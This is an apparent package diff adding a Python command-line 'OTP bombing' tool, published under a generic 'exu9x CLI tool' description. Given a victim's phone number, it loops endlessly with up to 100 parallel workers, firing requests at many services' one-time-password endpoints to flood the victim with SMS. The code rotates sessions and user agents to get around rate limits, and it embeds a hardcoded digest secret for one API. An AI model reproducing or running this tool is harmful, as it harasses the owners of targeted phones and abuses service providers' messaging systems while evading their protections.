+            data = data.replace("{timestamp}", str(timestamp))
+        if "{digest}" in data:
+            timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
+            digest = hashlib.sha256(f"{clean_msisdn}{timestamp}ZviQQrBZroUaFMDP".encode()).hexdigest()
+            data = data.replace("{digest}", digest)
+        if "{msisdn}" in data:
+            data = data.replace("{msisdn}", clean_msisdn)
+        
+        headers = api["headers"].copy()
+        headers["User-Agent"] = 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.current_ua
+        
+        if api["method"] == "POST":
+            if "application/json" in headers.get("Content-Type", ""):
+                try:
+                    json_data = json.loads(data)
+                    response = session.post(api["url"], headers=headers, json=json_data, timeout=5)
+                except:
+                    response = session.post(api["url"], headers=headers, data=data, timeout=5)
+            else:
+                response = session.post(api["url"], headers=headers, data=data, timeout=5)
+        else:
+            response = session.get(api["url"], headers=headers, timeout=5)
+        
+        if 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐢𝐬_𝐫𝐚𝐭𝐞_𝐥𝐢𝐦𝐢𝐭𝐞𝐝(response.status_code):
+            𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐫𝐨𝐭𝐚𝐭𝐞_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(api_name)
+            return {
+                "api": api_name,
+                "status": response.status_code,
+                "success": False,
+                "rotated": True,
+                "time": round(response.elapsed.total_seconds(), 2)
+            }
+        
+        return {
+            "api": api_name,
+            "status": response.status_code,
+            "success": response.status_code in [200, 201, 202, 204],
+            "rotated": False,
+            "time": round(response.elapsed.total_seconds(), 2)
+        }
+    except Exception as e:
+        return {
+            "api": api_name,
+            "status": "ERROR",
+            "success": False,
+            "rotated": False,
+            "error": str(e)[:30]
+        }
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐈𝐍𝐅𝐈𝐍𝐈𝐓𝐄 𝐁𝐎𝐌𝐁𝐈𝐍𝐆 - 𝟏𝟎𝟎 𝐏𝐀𝐑𝐀𝐋𝐋𝐄𝐋
+# ═══════════════════════════════════════════════════════════════
+
+def 𝐢𝐧𝐟𝐢𝐧𝐢𝐭𝐞_𝐛𝐨𝐦𝐛𝐢𝐧𝐠(msisdn):
+    global 𝐫𝐮𝐧𝐧𝐢𝐧𝐠
+    𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = True
+    
+    config = 𝐒𝐏𝐄𝐄𝐃_𝐂𝐎𝐍𝐅𝐈𝐆[𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝]
+    
+    print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐓𝐚𝐫𝐠𝐞𝐭:{𝐑𝐄𝐒𝐄𝐓} {msisdn}")
+    print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐀𝐏𝐈𝐬:{𝐑𝐄𝐒𝐄𝐓} {len(𝐀𝐏𝐈𝐒)} services")
+    print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐩𝐞𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {config['label']}")
+    print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐖𝐨𝐫𝐤𝐞𝐫𝐬:{𝐑𝐄𝐒𝐄𝐓} {config['workers']} parallel")
+    print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐔𝐬𝐞𝐫-𝐀𝐠𝐞𝐧𝐭𝐬:{𝐑𝐄𝐒𝐄𝐓} {len(𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒)} rotating")
+    print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐭𝐚𝐭𝐮𝐬:{𝐑𝐄𝐒𝐄𝐓} {𝐆𝐑𝐄𝐄𝐍}𝐑𝐔𝐍𝐍𝐈𝐍𝐆{𝐑𝐄𝐒𝐄𝐓}")
+    print(f"{𝐃𝐈𝐌}➜ Press Ctrl+C to stop{𝐑𝐄𝐒𝐄𝐓}\n")
+    
+    total_sent = 0
+    total_failed = 0
+    total_rotated = 0
+    start_time = time.time()
+    last_show = time.time()
+    show_interval = 3
+    
+    try:
+        while 𝐫𝐮𝐧𝐧𝐢𝐧𝐠:
+            batch_size = config['workers'] * 2
+            tasks = []
+            
+            for i in range(batch_size):
+                api = 𝐀𝐏𝐈𝐒[i % len(𝐀𝐏𝐈𝐒)]
+                tasks.append(api)
+            
+            with ThreadPoolExecutor(max_workers=config['workers']) as executor:
+                futures = []
+                for api in tasks:
+                    future = executor.submit(𝐬𝐞𝐧𝐝_𝐨𝐭𝐩, api, msisdn, total_sent + total_failed + 1)
+                    futures.append(future)
+                    if config['delay'] > 0:
+                        time.sleep(config['delay'])
+                
+                for future in as_completed(futures):
+                    result = future.result()
+                    if result["success"]:
+                        total_sent += 1
+                    elif result.get("rotated", False):
+                        total_rotated += 1
+                    else:
+                        total_failed += 1
+            
+            # Show stats every 3 seconds
+            if time.time() - last_show >= show_interval:
+                elapsed = time.time() - start_time
+                rate = total_sent / elapsed if elapsed > 0 else 0
+                total_req = total_sent + total_failed
+                success_rate = (total_sent / total_req * 100) if total_req > 0 else 0
+                print(f"\r{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📊 {𝐆𝐑𝐄𝐄𝐍}Sent:{𝐑𝐄𝐒𝐄𝐓} {total_sent}  "
+                      f"{𝐑𝐄𝐃}Failed:{𝐑𝐄𝐒𝐄𝐓} {total_failed}  "
+                      f"{𝐘𝐄𝐋𝐋𝐎𝐖}Rotated:{𝐑𝐄𝐒𝐄𝐓} {total_rotated}  "
+                      f"{𝐂𝐘𝐀𝐍}Speed:{𝐑𝐄𝐒𝐄𝐓} {rate:.1f}/s  "
+                      f"{𝐌𝐀𝐆𝐄𝐍𝐓𝐀}Rate:{𝐑𝐄𝐒𝐄𝐓} {success_rate:.1f}%  "
+                      f"{𝐃𝐈𝐌}Elapsed: {elapsed:.0f}s{𝐑𝐄𝐒𝐄𝐓}", end="")
+                last_show = time.time()
+    
+    except KeyboardInterrupt:
+        print(f"\n\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}⚠ 𝐒𝐭𝐨𝐩𝐩𝐢𝐧𝐠...{𝐑𝐄𝐒𝐄𝐓}")
+        𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = False
+    
+    # Final stats
+    elapsed = time.time() - start_time
+    total_req = total_sent + total_failed
+    success_rate = (total_sent / total_req * 100) if total_req > 0 else 0
+    
+    print(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
+    print(f"{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ 𝐁𝐎𝐌𝐁𝐈𝐍𝐆 𝐂𝐎𝐌𝐏𝐋𝐄𝐓𝐄!{𝐑𝐄𝐒𝐄𝐓}")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📱 𝐓𝐚𝐫𝐠𝐞𝐭:{𝐑𝐄𝐒𝐄𝐓} {msisdn}")
+    print(f"{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✅ 𝐒𝐞𝐧𝐭:{𝐑𝐄𝐒𝐄𝐓} {total_sent}")
+    print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}❌ 𝐅𝐚𝐢𝐥𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {total_failed}")
+    print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}⟳ 𝐑𝐨𝐭𝐚𝐭𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {total_rotated}")
+    print(f"{𝐂𝐘𝐀𝐍}{𝐁𝐎𝐋𝐃}📊 𝐒𝐮𝐜𝐜𝐞𝐬𝐬 𝐑𝐚𝐭𝐞:{𝐑𝐄𝐒𝐄𝐓} {success_rate:.1f}%")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}⏱️ 𝐓𝐢𝐦𝐞:{𝐑𝐄𝐒𝐄𝐓} {elapsed:.0f}s")
+    if elapsed > 0:
+        print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}🚀 𝐀𝐯𝐠 𝐒𝐩𝐞𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {total_sent/elapsed:.1f} req/s")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐓𝐄𝐒𝐓 𝐀𝐏𝐈𝐒
+# ═══════════════════════════════════════════════════════════════
+
+def 𝐭𝐞𝐬𝐭_𝐚𝐩𝐢𝐬(msisdn):
+    print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐓𝐞𝐬𝐭𝐢𝐧𝐠 {len(𝐀𝐏𝐈𝐒)} 𝐀𝐏𝐈𝐬...{𝐑𝐄𝐒𝐄𝐓}\n")
+    
+    working = []
+    failed = []
+    
+    with ThreadPoolExecutor(max_workers=15) as executor:
+        futures = []
+        for api in 𝐀𝐏𝐈𝐒:
+            futures.append(executor.submit(𝐬𝐞𝐧𝐝_𝐨𝐭𝐩, api, msisdn, 1))
+            time.sleep(0.01)
+        
+        for future in as_completed(futures):
+            result = future.result()
+            if result["success"]:
+                working.append(result["api"])
+                print(f"  {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓{𝐑𝐄𝐒𝐄𝐓} {result['api']:<15} {𝐆𝐑𝐄𝐄𝐍}𝐖𝐎𝐑𝐊𝐈𝐍𝐆{𝐑𝐄𝐒𝐄𝐓}")
+            else:
+                failed.append(result["api"])
+                print(f"  {𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗{𝐑𝐄𝐒𝐄𝐓} {result['api']:<15} {𝐑𝐄𝐃}𝐅𝐀𝐈𝐋𝐄𝐃{𝐑𝐄𝐒𝐄𝐓}")
+    
+    print(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
+    print(f"{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ Working:{𝐑𝐄𝐒𝐄𝐓} {len(working)}/{len(𝐀𝐏𝐈𝐒)}")
+    print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ Failed:{𝐑𝐄𝐒𝐄𝐓} {len(failed)}/{len(𝐀𝐏𝐈𝐒)}")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐆𝐄𝐍𝐄𝐑𝐀𝐓𝐄 𝐂𝐑𝐄𝐃𝐄𝐍𝐓𝐈𝐀𝐋𝐒
+# ═══════════════════════════════════════════════════════════════
+
+def 𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐜𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬():
+    print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐢𝐧𝐠 𝐂𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬...{𝐑𝐄𝐒𝐄𝐓}\n")
+    
+    fingerprint = 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭()
+    
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐅𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['fingerprint']}")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐆𝐮𝐞𝐬𝐭 𝐈𝐃:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['guest_id']}")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐃𝐞𝐯𝐢𝐜𝐞 𝐈𝐃:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['device_id']}")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐒𝐞𝐬𝐬𝐢𝐨𝐧 𝐈𝐃:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['session_id']}")
+    print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐔𝐬𝐞𝐫-𝐀𝐠𝐞𝐧𝐭:{𝐑𝐄𝐒𝐄𝐓} {𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.current_ua}")
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐒𝐇𝐎𝐖 𝐀𝐏𝐈 𝐒𝐓𝐀𝐓𝐔𝐒
+# ═══════════════════════════════════════════════════════════════
+
+def 𝐬𝐡𝐨𝐰_𝐬𝐭𝐚𝐭𝐮𝐬():
+    print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬 ({len(𝐀𝐏𝐈𝐒)} APIs){𝐑𝐄𝐒𝐄𝐓}\n")
+    for i, api in enumerate(𝐀𝐏𝐈𝐒, 1):
+        print(f"  {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}{i:2}.{𝐑𝐄𝐒𝐄𝐓} {api['name']}")
+    print(f"\n{𝐃𝐈𝐌}Total User-Agents: {len(𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒)}{𝐑𝐄𝐒𝐄𝐓}")
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐂𝐇𝐀𝐍𝐆𝐄 𝐒𝐏𝐄𝐄𝐃
+# ═══════════════════════════════════════════════════════════════
+
+def 𝐜𝐡𝐚𝐧𝐠𝐞_𝐬𝐩𝐞𝐞𝐝():
+    global 𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝
+    print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝{𝐑𝐄𝐒𝐄𝐓}\n")
+    print(f"  {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}1.{𝐑𝐄𝐒𝐄𝐓} 🚀 Turbo (100 workers, 0.0005s delay) {𝐆𝐑𝐄𝐄𝐍}← Current{𝐑𝐄𝐒𝐄𝐓}" if 𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝 == "turbo" else f"  {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}1.{𝐑𝐄𝐒𝐄𝐓} 🚀 Turbo (100 workers, 0.0005s delay)")
+    print(f"  {𝐁𝐋𝐔𝐄}{𝐁𝐎𝐋𝐃}2.{𝐑𝐄𝐒𝐄𝐓} ⚡ Fast (75 workers, 0.001s delay)")
+    print(f"  {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}3.{𝐑𝐄𝐒𝐄𝐓} 🐢 Normal (50 workers, 0.002s delay)")
+    print(f"  {𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}4.{𝐑𝐄𝐒𝐄𝐓} 🐌 Slow (25 workers, 0.005s delay)")
+    
+    choice = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{𝐑𝐄𝐒𝐄𝐓} ").strip()
+    speeds = {"1": "turbo", "2": "fast", "3": "normal", "4": "slow"}
+    if choice in speeds:
+        𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝 = speeds[choice]
+        print(f"\n{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ Speed changed to: {𝐒𝐏𝐄𝐄𝐃_𝐂𝐎𝐍𝐅𝐈𝐆[𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝]['label']}{𝐑𝐄𝐒𝐄𝐓}")
+
+# ═══════════════════════════════════════════════════════════════
+# 𝐌𝐀𝐈𝐍
+# ═══════════════════════════════════════════════════════════════
+
+def 𝐦𝐚𝐢𝐧():
+    global 𝐫𝐮𝐧𝐧𝐢𝐧𝐠
+    𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+    𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+    
+    while True:
+        𝐩𝐫𝐢𝐧𝐭_𝐦𝐞𝐧𝐮()
+        choice = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{𝐑𝐄𝐒𝐄𝐓} ").strip()
+        
+        if choice == "1":
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            
+            phone = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📱 𝐏𝐡𝐨𝐧𝐞:{𝐑𝐄𝐒𝐄𝐓} ").strip()
+            phone = ''.join(filter(str.isdigit, phone))
+            if len(phone) > 11:
+                phone = phone[-11:]
+            
+            if len(phone) != 11:
+                print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{𝐑𝐄𝐒𝐄𝐓}")
+                input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
+                continue
+            
+            print(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}🔄 𝐒𝐭𝐚𝐫𝐭𝐢𝐧𝐠 𝟏𝟎𝟎𝐱 𝐈𝐧𝐟𝐢𝐧𝐢𝐭𝐞 𝐋𝐨𝐨𝐩...{𝐑𝐄𝐒𝐄𝐓}")
+            print(f"{𝐃𝐈𝐌}⚠ Press Ctrl+C to stop anytime{𝐑𝐄𝐒𝐄𝐓}")
+            
+            try:
+                𝐢𝐧𝐟𝐢𝐧𝐢𝐭𝐞_𝐛𝐨𝐦𝐛𝐢𝐧𝐠(phone)
+            except KeyboardInterrupt:
+                𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = False
+                print(f"\n\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}⚠ 𝐒𝐭𝐨𝐩𝐩𝐞𝐝 𝐛𝐲 𝐮𝐬𝐞𝐫{𝐑𝐄𝐒𝐄𝐓}")
+            
+            input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            
+        elif choice == "2":
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            phone = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📱 𝐏𝐡𝐨𝐧𝐞:{𝐑𝐄𝐒𝐄𝐓} ").strip()
+            phone = ''.join(filter(str.isdigit, phone))
+            if len(phone) > 11:
+                phone = phone[-11:]
+            𝐭𝐞𝐬𝐭_𝐚𝐩𝐢𝐬(phone)
+            input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            
+        elif choice == "3":
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐜𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬()
+            input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            
+        elif choice == "4":
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            𝐬𝐡𝐨𝐰_𝐬𝐭𝐚𝐭𝐮𝐬()
+            input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            
+        elif choice == "5":
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            𝐜𝐡𝐚𝐧𝐠𝐞_𝐬𝐩𝐞𝐞𝐝()
+            input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
+            𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
+            𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
+            
+        elif choice == "6":
+            print(f"\n{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ 𝐆𝐨𝐨𝐝𝐛𝐲𝐞! @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑{𝐑𝐄𝐒𝐄𝐓}")
+            sys.exit(0)
+            
+        else:
+            print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{𝐑𝐄𝐒𝐄𝐓}")
+            time.sleep(1)
+
+if __name__ == "__main__":
+    try:
+        𝐦𝐚𝐢𝐧()
+    except KeyboardInterrupt:
+        print(f"\n\n{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ 𝐈𝐧𝐭𝐞𝐫𝐫𝐮𝐩𝐭𝐞𝐝{𝐑𝐄𝐒𝐄𝐓}")
+        sys.exit(0)

exu9x-0.1.74/pyproject.toml

@@ -0,0 +1,21 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "exu9x"
+version = "0.1.74"
+description = "exu9x CLI tool"
+readme = "README.md"
+license = {text = "MIT"}
+requires-python = ">=3.8"
+authors = [{name = "Your Name"}]
+dependencies = [
+    "requests",
+]
+
+[project.scripts]
+exu9x = "exu9x.cli:main"
+
+[tool.hatch.build.targets.wheel]
+packages = ["exu9x"]